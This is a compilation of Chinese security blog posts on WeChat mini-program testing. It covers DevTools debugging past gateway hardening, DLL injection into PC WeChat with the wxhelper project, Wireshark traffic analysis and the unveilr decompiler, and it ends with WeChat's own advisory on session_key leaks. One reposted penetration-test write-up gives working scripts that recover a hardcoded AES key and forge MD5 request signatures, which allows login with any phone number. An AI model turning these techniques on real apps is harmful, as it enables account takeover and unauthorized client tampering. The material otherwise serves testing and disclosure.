小程序安全防护-微信网关&小程序加固突破(下)

小程序安全防护-微信网关&小程序加固突破(下)

image

写在前面

以下都是情节模拟,并非具体情况,请细加甄别

在上次对某克的小程序测试后,我得出了目前微信对小程序的防护措施(加固+网关)的方式,无法拦截掉本地动态调试的判断,但不知道是业务催得紧还是老板不死心还是微信又推产品了,总之,老板让我去上海跑个小差,参加一下微信的线下公开课,和他们好好讨论一下这个问题……

image

事前准备

纵使在公开课上对来会嘉宾介绍的非常有利,下会后当我当面提出 DevTools 本地动态调试的方法时,商务解释不了推给产品,产品解释不了提问经理,经理找来研发同学,肯定了我的说法,即:

  1. 目前微信网关更倾向于流量监测和风控行为的评估,请求在客户端封装后发往微信网关,再由网关转发至原服务端,这点与认知相同;

  2. 小程序加固目前针对的个体是.wxpkg的包,方法和我们认知的混淆、加壳一致(三级防护增大30-40%体积,五级防护增加三倍体积),无法动态调试指的是获得这个包后无法在本地微信开发工具中调试;

  3. 关于前端通过DevTools进行调试得到js中参数值和代码逻辑的防护,与他们的技术沟通过表示只能在js中加入禁止调试的代码(但也讨论了可以绕过)

即使这样还无法让老板信服,很简单,如果这几点是真的,那就把某特这个被微信誉为2025年上半年最佳小程序安全防护实践的项目弄下来试试

image

使用工具

  • 微信 PC 客户端最新版本

  • WMPFDebugger

  • Cheat Engine(CE)

  • 等等(市面上真的不少)

“受害者”入场

  • 小程序:某特

开始动手

某特

书接上回,某特的小程序要求微信版本不低于4.1.1(后来知道是不低于最新版本微信),但实际上这个限制可以绕过,甚至可以不绕过

你可以通过 Cheat Engine(CE),去搜寻低版本的地址,如 3.8.0.33 的十六进制为 63080021,找到对应地址后改成 64010224(4.1.2.36的十六进制),即可绕过版本限制,版本转换

image

然后你会发现提示你需要在移动端打开……但这个绕过也很容易,其实这个就是类似 wx.getSystemInfo() 这种接口获取设备信息,获取到字段为 windows,就跳转到限制页面了,你都可以打开 Debugger 了,在跳转前查到调用接口,修改参数值就可以了

image

image

可以看到确实是做了混淆的,但是可以被动态调试,即使混淆也能看到传参过程和内容的,只要肯有耐心,但这里我就不继续了,我的目的已经达到了,我又不是灰产= =

image

写在后面

纵使这番,老板也就消停了一会,两三周后又来问我,能不能和微信信用分关联啥的了,我只能说,安全没有否决业务阻拦生产的权利(至少在这家公司没有),只能识别到风险给足建议了,只是看(老板你)能不能说服业务了

image

小程序安全防护-微信网关&小程序加固突破(上)

小程序安全防护-微信网关&小程序加固突破(上)

image

写在前面

以下都是情节模拟,并非具体情况,请细加甄别

在25年中,业务以“专门下载 APP 太慢啦,我们要小程序操作”为由,施压产研,希望要求把开门等业务重要逻辑重新放回小程序,于是老板找我评估一下安全性

拜托,即使我是23年才来,我也是半接手把开门从小程序“入土”的,现在又要改回去,开什么玩笑!

“我也理解你,所以微信那边给出了一个方案,说是接微信网关和小程序加固就可以保证安全性,你看看”

然后我就被拉入了相关群组,也就意味着去测试微信网关等一系列小程序安全措施了

image

事前准备

其实之前在推业务下线小程序的时候,我就做过测试,论证了为什么小程序的相关实现不安全,因为从根本来说,小程序可以被理解为是微信内置浏览器渲染出的前端而已,是可以被动态调试的,一如浏览器 F12 后 Debugger

当时我还研究过 .wxapkg 的逆向拆解,还原代码之类的,可以参考:

拼图碎片:反编译小程序、数据加密解密、sign值绕过

但其实完全没必要这么麻烦……

使用工具

话说回来,明明企业微信自己都带 DevTools = =

“受害者”入场

就来两个已经接入和采用方案的小程序试试呗

image

  • 小程序:某克、某特

开始动手

某特

先假装不敌,败下阵来

image

某特的小程序要求微信版本不低于4.1.1(后来知道是不低于最新版本微信),但实际上这个限制可以绕过,先不浪费时间,没事,还有下篇呢

某克

完全不是对手,技术力感觉不如我这家公司= =

主要采集了三个请求和响应点:商品分类、个人主页、个人主页-地址簿

商品分类

image

image

可以明显地看到请求头和请求体是明文的,没有用特殊协议,也没有进行加密

个人主页

image

image

在 events 中可以看到本地客户端信息和与 api.nike.com.cn 的关联信息

个人主页-地址簿

image

image

作为用户隐私信息之一的地址信息,耐克是用 GET 请求,通过 upmid 去分配用户存储路径返回的

隐藏请求

image

image

在测试的过程中,仅发现了“sa?project=MiniProgram”下的 Payload 类似加密,但解析过后发现,仅仅是 Base64 编码后 URL 编码了一下,不算加密,也不是微信自身的协议形式:

image

image

动态调试

以 upmid 为着手点,动态调试得到用户地址的获取过程:

image

写在后面

说实话,某克测下来给我感觉完全不行啊,好像都没什么防护措施,后续也向微信那边再次确认了,他们的措辞是“可能是因为接入的是已经很久前的版本了巴拉巴拉”,那么就请看下篇吧

image

PC端WeChat逆向注入

PC端WeChat逆向注入

image

写在前面

首先是好久都没写原创的技术博客了,上一篇还是去海参崴的旅行回记:滨海远东之后(After Vladivostok)

起笔这篇文章的时候,实际上已经是25年12月,但事情大概是25年5月发生的事情,也就是其实我只咕了一年不到!(理直气壮x

之所以有时间来写写这一年来遇到的技术趣事,是因为一方面到年底了,一方面我又要开始漂泊了(为什么我要说又),细节的原因大家有兴趣可以看看 食用指南 下面的每年记事,我大概会把这几篇文章更完后一并更新之

言归正传,所有的这种如题所示需求都是公司需要,以下都是情节模拟,并非具体情况,请细加甄别

在24年底其实就有 TL 找我,说目前我们的私域运营效率比较低,还要用批量的实机统一调度操作,问我能不能破解企业微信的私有协议,让后端能直接修改数据传参,调用接口,回复用户、发朋友圈等……

image

呵,我当然不会答应,只是“好好好,我有时间看看”的说法,可要知道这是在法律边缘疯狂试探的,当然,后面还有老板要我去爬竞品公司数据啥的,只能说这个公司简直了= =

总而言之

总而言之,虽然我推辞了,但到半年后这件事情再被捞起来的时候,我就推不掉了,我只能想办法实现而又不让它上线,也就是拿出达成目标的证据但给出不能这么做的足够理由

前置准备

我在做前期信息搜集的时候,参考了:基于wireshark对网页版微信抓包和ios微信抓包分析微信3.9.8.25机器人(Hook注入)搭建教程文档 还有一众相关文章

前者让我抛弃了直接破解加密协议的想法,且先不说能否实现,也太麻烦了

后者让我转向了另一个实现方向:我能不能 Hook 微信,通过这样的方式进行一些功能调用和传参修改呢?

image

摸索开始了——

在查阅了大量前人的资料和看到无数的卖技术贩子后,我大概了解了目前做这一块的“灰产技术”大概的执行方式:利用低版本的 PC 端微信,对其进行功能调用内存地址的发掘,然后通过外置函数模拟接口数据,再写入微信进行接口请求篡改或直接执行

image

定制DLL

其实现在所有主流的 PC 微信 Hook 几乎都来自一个项目:https://github.com/ttttupup/wxhelper

我也就借用这个项目的示例,高概括的向大家说一下步骤是如何进行的,如何实现的:

  1. 用 Cheat Engine(CE)去找微信触发接口的回调地址,先在固定对话框(文件传输助手)发送特定的语句,然后在 CE 中寻找相应语句所在地址;
  2. 然后用 x64DBG 或者 OD 在地址处下断点,断点后一步步跟进到调用函数,或者直接用 IDA Pro 或 Ghidra 对关键地址进行搜索后,一步步向上找调用函数;

image

  1. 再结合这个关键函数,让 AI 帮忙分析一下,写一下带汇编语句的 C 代码,作为一个业务功能(给特定对象发消息)的回调(Call),然后再编译成一个动态连结库(.DLL),供外部拓展使用(http)

image

接口调用

如何运用编写出的 DLL 以及如何撰写接口的调用,示例在 wxhelper 的 client.py 中都有,这里只展示部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
>import requests
>import json


>def check_login():
"""
0.检查是否登录
:return:
"""
url = "127.0.0.1:19088/api/?type=0"
payload = {}
headers = {}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)


>def user_info():
"""
登录用户信息
:return:
"""
url = "127.0.0.1:19088/api/?type=8"
payload = {}
headers = {}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)


>def send_text():
"""
发送文本
:return:
"""
url = "127.0.0.1:19088/api/?type=2"
payload = json.dumps({
"wxid": "filehelper",
"msg": "123"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
......

最终实现

当前面两步实现后,就可以进行简单的功能调用了,以下是获取个人信息以及发送消息的实际情况:

image

image

后续推辞

当然,这只是我给“私域优化建议”的一部分,对于这部分,我表示:实现了,但不能做,有封号风险

为什么不能用这种方式?一方面,这种方式需要一个人固定维护这份 .DLL 文件,每个版本的微信对应调用函数的映射地址都是会变化的,在企微强更较频繁的环境下难以如此费精力的去再做一遍(我不负责!);另一方面,在思考企微协议相关的利用与分析这段时间里,我在许多群组里都看到了因为使用这种方式不恰当导致企业账号被封禁的情况,从流量请求来看,这部分从本地发出的请求很容易被识别,属于腾讯自己灰产的一部分

image

如此辩解就好,也算是完成了任务,也没走上违法犯罪的道路,可喜可贺,可喜可贺

参考引用

基于wireshark对网页版微信抓包和ios微信抓包分析

微信3.9.8.25机器人(Hook注入)搭建教程文档

ttttupup-wxhelper

基于wireshark对网页版微信抓包和ios微信抓包分析

基于wireshark对网页版微信抓包和ios微信抓包分析

本文转自 hjsz 并作补充

网页版微信

分析过程

  • 先查看本机的IP地址

image

  • 打开浏览器准备登录微信网页版。扫码的时候查看抓的包,其中有个DNS数据包询问extshaort.weixin.qq.com的IP地址。

    image

    • 查看这个报文的具体内容,发现这是一个DNS查询报文,DNS查询报文为标准查询即通过主机名查询对应的IP

      image

    • 查询本机网络信息得知,本地DNS服务器地址为192.168.31.1

      image

    • 下面是DNS回复报文,从DNS回复报文中可以看出网页版微信的IP地址有多个,为了应对大流量的访问包括避免宕机影响业务,大企业或者大型服务都会有多个服务器。

      image

    • 从接下来的报文中可以看出用户选择了223.166.152.101这个服务器进行访问连接。因为DNS查询后有一定数量的TCP数据包是本机与223.166.152.101之间的

      image

  • 分析上述提到的TCP数据包(三次握手过程)

    • 从下图流量包看到了源IP是本机IP,目的IP为DNS返回的其中一个IP。分析TCP报文内容,看到了目的Port为80即常见的HTTP协议的端口。然后标志位 SYN置1,为TCP三次握手中的第一步。说明本机正常通过TCP与微信的服务器建立连接。

      image

    • 下图流量包是服务器回复的报文。其中确认号ACK=x+1,x为请求报文中的0,syn = 1,表示客户端的请求报文有效,服务器可以正常接收客户端发送的数据,同意创建与客户端的的新连接。

      image

    • 客户端收到服务器回复的报文后得知服务器允许建立连接,此时客户端还会再发送一个TCP报文,这个数据包的seq = x+1=1,ack还是为1。表明可以建立连接了。接下来的就是双方的数据传输。

      image

  • 三次握手后建立连接后客户端向服务器发送了一个 HTPP post报文,客户端开始提交数据。看HTTP的内容,request URI,而这个URI为…./getloginqrcode,是微信登录的二维码。

    image

    image

  • 扫码登录

    • 登录后有大量的TCP数据包及HTTP POST和HTTP响应数据包。从这里可以看出这时候与登录前的服务器IP不同,但是都是之前DNS返回的IP之一。这种大型业务不同的服务器承载着不同的业务需求。

      image

    • 客户端向微信服务器请求同步数据等数据传输的HTTP。

      image

      image

  • 加密协议。微信使用了应用层与传输层之间的SSL/TLS协议进行数据加密。

    • Client Hello开始客户端向服务器发送建立连接的请求:(版本号,随机数等)

      image

      image

  • Server Hello,根据请求中携带的内容建立连接版本,加密套件,生成服务器端随机数。

    image

  • 服务器向用户发送由CA签发的证书,验证身份。(Certificate,server Key exchange等)

    image

    image

  • Change Cipher Spec(通知)

    image

  • 通信建立

  • 消息测试

    • 给好友传一张照片

    • 抓包发现还是原来的建立通信的过程

      image

    • 抓包发现了HTTP请求报文,是关于uploadmsgimg的,即上传图片。

      image

IOS端微信抓包分享

开始进行了网页端的微信抓包分析,正好手头有个IPAD,就试了一下IOS端的,还请各位多多指教

分析

  • 用PC作为一个无线AP,让移动端接入。查看移动端的IP和MAC地址。

    image

  • 将wireshark绑定在这个无线接口,进行抓包分析。还是先通过DNS查找微信的服务器IP。IP地址和之前的类似。116.128开头。

    image

  • 获得登录二维码,在获得二维码过程中,终端和121.51.73.100进行了大量的TCP通信。

    image

    • 观察其中一个报文,发现了之前不太了解的字段SACK。在网上查找相关知识,得知这个字段可以告诉发送方哪些报文段丢失,哪些报文段重传。根据这些信息,发送方可以重传这些真正丢失的字段。

      image

  • 登录。经过网上查找发现微信客户端用的是自己改进的mmtls协议。也抓到了相关的mmtls POST数据包。

    • 在刷新微信列表的时候发现有大量的TCP包和其中的HTTP请求包。以下面这个为例:
      开始有个HTTP Get,应该是下载某个数据,然后服务器向用户发送多个TCP 后,最后接上一个HTTP OK(JPEG JFIF Image)。

      image

    • 一般来说TCP可以发1500个字节,减去40字节的头文件就还有1452个字节,所以一般大于1452TCP也会分段。如上图,一个TCP中包含1440字节数据。
      TCP segment of a reassembled PDU,TCP层收到上层大块报文后分解成段后发出去。

      image

    • 比如下面几个报文的ACK是相同的,正是分段后的结果。

      image

    • 下图是最后的HTTP OK报文,其中包含了之前6个TCP的数据,让我想起了之前做的IP分片,最后也是ICMP重组所有分片。

      image

    • 看到JPEG就知道应该是关于图像数据的GET传输,找到最后的HTTP OK 报文。找到了JPEG File数据段。当时看到了开头的FF D8,就抱着试试看的态度去找了一下JPEG文件的文件格式,发现正是是开头FF D8,结尾是FF D9,数据段也符合。就想着将数据取出生成JPEG文件。

      image

      image

    • 用python将Hex 串写入一个文件并以图片形式存储到本地。

      1
      2
      3
      4
      5
      6
      7
      8
      import binascii
      # payload为十六进制字符串,如:“ffd8ffe111e0457869...”;经过如下代码转换,可将pic存储为图片形式并可以正常打开
      filepath = "C:\\Users\\14112\\Desktop\\yang\\a.jpg"
      payload = "FF D8......FF D9" #只取了文件头和尾,数据太长
      f=open(filepath,"ab") # filepath为你要存储的图片的全路径
      pic = binascii.a2b_hex(payload.encode())
      f.write(pic)
      f.close()
    • 发现生成的图片可以打开

      image

  • 生成了上述图片就去微信列表找头像,发现下面这个群头像正是从抓到的报文中提取出的十六进制数据生成的。

    image

  • 了解到微信使用的是基于TLS的mmtls,能力有限,就不再分析腾讯未公开的协议了。原有的加密是存在业务层,加密的是请求包主体,但是数据包包头是明文,其中还包括用户的id等信息,而且加密的安全性也都待加强,所以腾讯开发了保护Client到Server之前所有网络通信数据、而且加密通信保护对业务开发人员透明的安全通信协议即mmtls。

总结

  • 现在我们使用的PC以及移动网络设备每时每刻都运行着各种服务,也和非常多的服务器之间进行数据包的传输,但是基本离不开TCP/IP 还有HTTP等常见的协议。感觉在真实的网络环境抓包比在GNS3上最难的就是无法排除其他服务数据包的干扰,在本机可能一打开wireshark就出现了大量的数据包,所以这时候wireshark使用技巧就尤为重要,学会过滤报文。
    分析微信的通信过程中服务器的IP会发送变化,也许是不同的业务使用不同的服务器,开始的时候需要分析DNS,因为开始主机会查询相关服务器的IP地址,从DNS中也可以看出一项大型服务会使用多个服务器,多个IP来保证业务正常。Web版应用基于TLS的加密也表现了web版应用存在一定不安全性。通过协议分析和实操也发现了自己真的很菜,还有很多要做要学的。

微信3.9.8.25机器人(Hook注入)搭建教程文档

微信3.9.8.25机器人(Hook注入)搭建教程文档

本文转自 唯一Chat 并作补充

开源地址

https://github.com/ttttupup/wxhelper 微信破解dll

https://github.com/nefarius/Injector 注入工具

https://github.com/tom-snow/wechat-windows-versions/releases 微信历史版本

基本原理

启动指定版本PC微信以后,利用注入程序将dll文件注入到微信进程内,可以截获所有的新消息,传递给外部接口,并提供发送消息的端口供外部程序调用。

安装微信

请安装资源包中提供的指定版本微信

安装完成后,请图标上右键【以管理员身份运行】启动微信,正常扫码登录微信

注入微信进程

点击电脑左下角启动图标,搜索【cmd】,点击【以管理员身份运行】

切换到程序包目录下,比如程序包目录在 D:\software

先切换到D盘,输入D:

1
C:\Windows\System32>D:

再切换到software ,输入 cd software

1
D:\>cd software

粘贴并运行以下命令

1
Injector.exe -n WeChat.exe -i  wxhelper3.9.8.25.dll

以上操作完成后,微信进程会提供出收发消息接口

自行开发监听程序收取消息,处理消息和发送消息

接口文档

https://github.com/ttttupup/wxhelper/blob/main/doc/3.9.5.81.md

PC小程序反编译工具之unveilr 2.0 免费版

PC小程序反编译工具之unveilr 2.0 免费版

本文转自 小夏 并作补充

由于新版要收费,此版本为unveilr 最后的免费版,留存一下

安装方法

1. 下载可执行文件 【这是一个命令行工具,windows上双击是不行的】

参数详解

  • 子命令是为了后续集成别的平台小程序解包功能
  • 子命令默认为 wx
子命令 参数 解释
-l, --log-level <level> 设置日志等级 debuginfowarnerror 默认 info
-v, --version 打印版本号并退出
wx <packages...> wxapkg的路径,可以是多个,也可以是一个目录
wx -i, --appid <appid> 解密windows上的 wxapkg时需要提供🔥已经支持自动从路径中提取
wx -f, --format 是否需要格式化解析出来的代码
wx --no-clear-decompile 不清除反编译时的残留文件
wx --no-clear-save 不清除之前的编译结果
wx --no-parse 只提取wxapkg中的文件,不进行反编译
wx -d, --depth <depth> 设置从目录中查找wxapkg的深度默认: 1 设置为0时不限制深度
wx -o, --output <path> 设置反编译输出目录
wx --clear-output 当输出目录不为空时程序将终止,提供该参数表示强制清空输出目录

使用示例

  • 如果路径有空格必需加引号
1
2
3
4
5
6
7
8
9
10
# 直接解包整个目录
unveilr.exe "/path/to/wxapkg/dir/"
# 解多个包
unveilr.exe "/path/to/1.wxapkg" "/path/to/2.wxapkg" ...
# 指定wx子命令并指定微信AppId
unveilr.exe wx -i wx11aa22bb33cc44dd "/path/to/wxapkg/dir/"
# 格式化解析出来的代码
unveilr.exe wx -f "/path/to/wxapkg/dir/"
# 只提取源文件不解析进行反编译
unveilr.exe wx --no-parse "/path/to/wxapkg/dir/"

反编译小程序、数据加密解密、sign值绕过

反编译小程序、数据加密解密、sign值绕过

本文转自 sys0ne 并作补充

在一次渗透测试中对客户的小程序进行测试,一抓包就发现重重加密数据,在手机号一键登录数据包中发现泄露了session_key值,但是进行加密处理过,那就反编译小程序进行解密尝试。

反编译小程序

在点击该小程序时,C:\Users\xxx\Documents\WeChat Files\Applet在该目录下下会生成一个新的目录,最好时只留下面两个目录。

image

image

在生成的目录下找到__ APP __.wxapkg文件,使用UnpackMiniApp.exe进行解密,重新生成一个wxapkg文件

image

将生成的wxapkg文件拖到wxapkgconvertor.exe进行反编译,就会在wxapkg文件目录下生成一个新的文件夹,使用微信开发者工具打开就可以看到小程序的源码了

image

image

解密AES函数

发现存在数据加密,编译小程序,分析源码

image

对小程序进行调试,直接全局搜AES字段,发现 AES 的加密密钥硬编码在源代码中。

decryptByAes 是一个用于解密的函数,它使用 AES算法解密输入的密文,返回明文。解密过程需要密文、密钥和初始化向量(IV),并使用 CBC 模式和 PKCS7 填充。

image

根据默认密钥编辑 python 脚本(通用脚本,直接替换key或iv即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

def decrypt_by_aes(encrypted_hex, key_hex=None, iv_hex=None):

# 默认 Key 和 IV
DEFAULT_KEY_HEX = "31323334353??/414243444566"
DEFAULT_IV_HEX = "3031323334???43444546"

# 如果没有传入 Key 或 IV,使用默认值
key_hex = key_hex if key_hex is not None else DEFAULT_KEY_HEX
iv_hex = iv_hex if iv_hex is not None else DEFAULT_IV_HEX

# 将 Hex 字符串转换为 bytes
key = binascii.unhexlify(key_hex)
iv = binascii.unhexlify(iv_hex)
encrypted_data = binascii.unhexlify(encrypted_hex)

# 初始化 AES-CBC 解密器
cipher = AES.new(key, AES.MODE_CBC, iv)

# 解密并去除 PKCS7 填充
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

# 返回 UTF-8 解码后的明文
return decrypted_data.decode('utf-8')


# 示例用法
if __name__ == "__main__":
encrypted_hex = "30313233343536373839414243444546"

try:
decrypted_text = decrypt_by_aes(encrypted_hex)
print("解密结果:", decrypted_text)
except Exception as e:
print("解密失败:", str(e))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii

def encrypt_by_aes(plaintext, key_hex=None, iv_hex=None):
DEFAULT_KEY_HEX = "31323334353??/414243444566"
DEFAULT_IV_HEX = "3031323334???43444546"

# 如果未提供 key_hex 或 iv_hex,使用默认值
key_hex = key_hex if key_hex is not None else DEFAULT_KEY_HEX
iv_hex = iv_hex if iv_hex is not None else DEFAULT_IV_HEX

# 将十六进制字符串转换为字节
key = binascii.unhexlify(key_hex) # 32 字节密钥
iv = binascii.unhexlify(iv_hex) # 16 字节 IV

# 将明文转换为字节(UTF-8 编码)
plaintext_bytes = plaintext.encode('utf-8')

# 初始化 AES-CBC 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)

# 添加 PKCS7 填充并加密
padded_data = pad(plaintext_bytes, AES.block_size) # PKCS7 填充
ciphertext = cipher.encrypt(padded_data)

# 将密文转换为十六进制字符串
ciphertext_hex = binascii.hexlify(ciphertext).decode('utf-8')

return ciphertext_hex

# 示例用法
if __name__ == "__main__":
# 测试数据
plaintext = "Hello, World!"
try:
# 使用默认密钥和 IV 加密
encrypted_default = encrypt_by_aes(plaintext)
print("加密结果:", encrypted_default)

except Exception as e:
print("加密失败:", str(e))

image

1
encryptedData=1b39aaa7b79f513b2958b671d8b8ad700ce3788963bc8ae3f91b61588cb963f05397695b3405dd75b2b91bc8e922d6918818e0d7eea3a835847b34b998bf5adf892fa1b41a193365a52970d063de10cb2d920aa066695d3187377a63c8efc0db1133cbcbb0f3d4c5def03e4c045a52f1c4401dbf23023e890a37c86773821b698a3f4f82d89840c33c14c0701cc8854b495e9c187106f7c265cd2fae34f320413adcff074bde1f189007c91a451054eee26ad058f3cdc74c67eba9f61ea1e010667b714c4d114559d14e8c9e2afb5c478c44d26c11de9bb88b1ec8e27f48269c&iv=b9d1b5783b906c84d20ae0b1ac1373c9d65e85bafb3922801b1f4681aadb8267&sessionKey=5a556c5a8288afd815bd6ef2a96ddf2e2e7b795abbc4304ac333a2352296d2e9&openId=c9731afaa0966e3778383bfb7bfa58f25ae50bd3edf21082414af311ea9fdb92&thirdType=56e32732df18962b0dab4454799fdd64&encryptFlag=1&timeHashPf=1744596343852&sign=01EC6E15CCE27E17FC5D5E58C1430E96

通过脚本解密出encryptedData、sessionKey、iv 值。

image

获得原始数据。

image

绕过sign值校验

修改手机号,改为任意用户的手机号,在进行加密处理,但是存在 sign 值校验,可以看到sign值时md5加密,不可逆,但是我们可以了解sign值的加密流程,修改数据重新加密sign值,然后替换sign值,进行绕过。

全局搜索sign,分析源码中的 setsigntrue 函数

image

1
2
3
4
5
6
7
setSignature: function(t) {
var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : "", a = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : "", i = "";
for (var o in n) t[o] = n[o];
var s = this.objKeySort(t);
for (var u in s) i = "".concat(i).concat(u, "=").concat(t[u]);
return i += "".concat(r).concat(a), e.MD5(i).toString().toUpperCase();
},

这个函数接受四个参数:t,n,r,a。根据代码,t是主要的参数,n是可选参数,默认是空对象,r和a也有默认值。函数内部首先将n的属性合并到t中,也就是说,n中的键值对会被添加到t对象里。然后,它调用this.objKeySort(s),这里的s是处理后的t对象。objKeySort的作用是对对象的键进行排序,返回一个排序后的新对象。接下来,函数遍历排序后的对象s,将每个键值对以“key=value”的形式拼接成字符串i。然后,i后面拼接上r和a,最后对这个拼接后的字符串进行MD5加密,并转换为大写字符串返回。

  1. 将传入的n参数合并到t对象中,也就是把额外的参数添加到t里。
  2. 对t对象的所有键进行排序,得到排序后的对象s。
  3. 遍历排序后的s,将每个键值对拼接成“key=value”的字符串,并将这些字符串按顺序连接起来,形成字符串i。
  4. 在i的末尾添加r和a的值,得到最终的拼接字符串。
  5. 对这个最终字符串进行MD5哈希,并将结果转为大写,作为sign值返回。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib

params = {
"encryptFlag": "1",
"encryptedData": "1b39aaa7b79f513b2958b671d8b8ad700ce3788963bc8ae3f91b61588cb963f05397695b3405dd75b2b91bc8e922d6918818e0d7eea3a835847b34b998bf5adf892fa1b41a193365a52970d063de10cb2d920aa066695d3187377a63c8efc0db1133cbcbb0f3d4c5def03e4c045a52f1c4401dbf23023e890a37c86773821b698a3f4f82d89840c33c14c0701cc8854b495e9c187106f7c265cd2fae34f320413adcff074bde1f189007c91a451054eee26ad058f3cdc74c67eba9f61ea1e010667b714c4d114559d14e8c9e2afb5c478c44d26c11de9bb88b1ec8e27f48269c",
"iv": "b9d1b5783b906c84d20ae0b1ac1373c9d65e85bafb3922801b1f4681aadb8267",
"openId": "c9731afaa0966e3778383bfb7bfa58f25ae50bd3edf21082414af311ea9fdb92",
"sessionKey": "5a556c5a8288afd815bd6ef2a96ddf2e2e7b795abbc4304ac333a2352296d2e9",
"thirdType": "56e32732df18962b0dab4454799fdd64",
"timeHashPf": "1744596343852"
}

# 按字母顺序排序键
sorted_keys = sorted(params.keys())
# 拼接键值对
raw_str = "".join([f"{key}={params[key]}" for key in sorted_keys])
# 追加固定字符串
raw_str += "zoe-health3f7e609f0a22108e"
# MD5 计算并大写
sign = hashlib.md5(raw_str.encode()).hexdigest().upper()
print(sign)

运行 python 文件,输出的 md5 值和原始数据中的 sign 值一致

image

image

现在流程全部走完了

复现流程

抓取登录数据包,将密文都进行解密处理后,输入任意手机号,加密处理,将加密后的内容放入加密sign脚本文件中生成一个新的sign值,替换sign。就可以实现任意手机号登录。

image

image

image

image

安全课堂|关于小程序session_key泄露漏洞

安全课堂|关于小程序session_key泄露漏洞

本文转自微信团队 并作补充

为进一步提升小程序的安全性和用户体验,目前平台对提审的小程序均需进行安全检测,在检测过程中发现仍有许多小程序存在安全漏洞,其中涉及session_key泄露漏洞,希望通过以下相关的漏洞介绍、案例分析和修复建议,开发者能更加了解如何对该漏洞进行防御。

一、漏洞介绍

为了保证数据安全,微信会对用户数据进行加密传输处理,所以小程序在获取微信侧提供的用户数据(如手机号)时,就需要进行相应的解密,这就会涉及到session_key,具体流程可参考开放数据校验与解密开发文档。

session_key指的是会话密钥,可以简单理解为微信开放数据AES加密的密钥,它是微信服务器给开发者服务器颁发的身份凭证,这个数据正常来说是不能通过任何方式泄露出去的。小程序若存在session_key泄露漏洞的情况,则代表微信侧传递的用户数据有被泄露、篡改等风险,开发者应及时发现该漏洞并快速修复相应问题。

image

二、漏洞案例

某小程序因为session_key泄露,导致该小程序可以使用任意手机号进行登录,造成了极大的安全风险。

我们可以很明显地看到,下列请求中的session_key已经被泄露:

image

通过获取该session_key,我们可以结合iv解密出密文:

image

只需如下脚本即可进行解密,所以攻击者也可利用同样的信息去篡改用户数据,然后加密后返回给服务器,从而达到使用任意手机号进行登录的目的。

image

三、漏洞修复

通过上述案例,我们了解到session_key泄露会对小程序造成的危害,而导致session_key泄露的原因则可能有以下两种:

1.通过auth.code2Session接口获取用户openid时,返回小程序的数据中包含了session_key字段,以泄露的url:/api/get_openid.php?code=xxxx为例,具体的表现如下图所示:

image

查看后端get_openid.php的源码,经排查发现$response 变量包含了session_key字段,开发者应去掉变量中的session_key字段,若需获取openid,应只提取该字段返回小程序即可。

image

2.在解密开放数据时,使用了错误的方式,以获取手机号接口为例,通过事件回调获取微信服务器返回的加密数据(encryptedData和iv)后,将服务端中的session_key传送至小程序前端,直接在前端进行解密:

image

这种方式是绝对不可取的,正确的流程应该是将加密数据(encryptedData和iv)传至服务端后,结合服务端中的session_key进行解密获取手机号,然后返回给小程序。另外,目前平台已对获取手机号接口进行了安全升级,建议开发者使用新版本,以增强小程序的安全性。

若小程序存在相应的session_key泄露漏洞问题,请开发者尽快自查并修复漏洞:

请尽快在网络请求中,去除请求和响应中的session_key字段及其对应值,后续也不应该将session_key传到小程序客户端等服务器外的环境,以便消除风险。

其他常见问题

Q1: 如何进行相应的修复,是需要把session_key字段更换个名字就可以了吗?

A1: 不是,更换字段名无法从根本上消除风险,session_key这个字段及对应值不应该传到小程序客户端等服务器外的环境,需去除请求和响应中的所有相关信息,才可对该漏洞问题进行修复。

Q2: 解密开放数据的正确方式是什么?

A2: 以获取手机号接口为例,通过事件回调获取微信服务器返回的加密数据(encryptedData和iv),将加密数据传至服务端后,结合服务端中的session_key进行解密获取手机号,然后返回给小程序。而不应将服务端中的session_key传送至小程序前端,直接在前端进行解密。

相关文章

安全课堂|关于小程序AppSecret密钥泄露漏洞

安全课堂|关于小程序云AK/SK泄露漏洞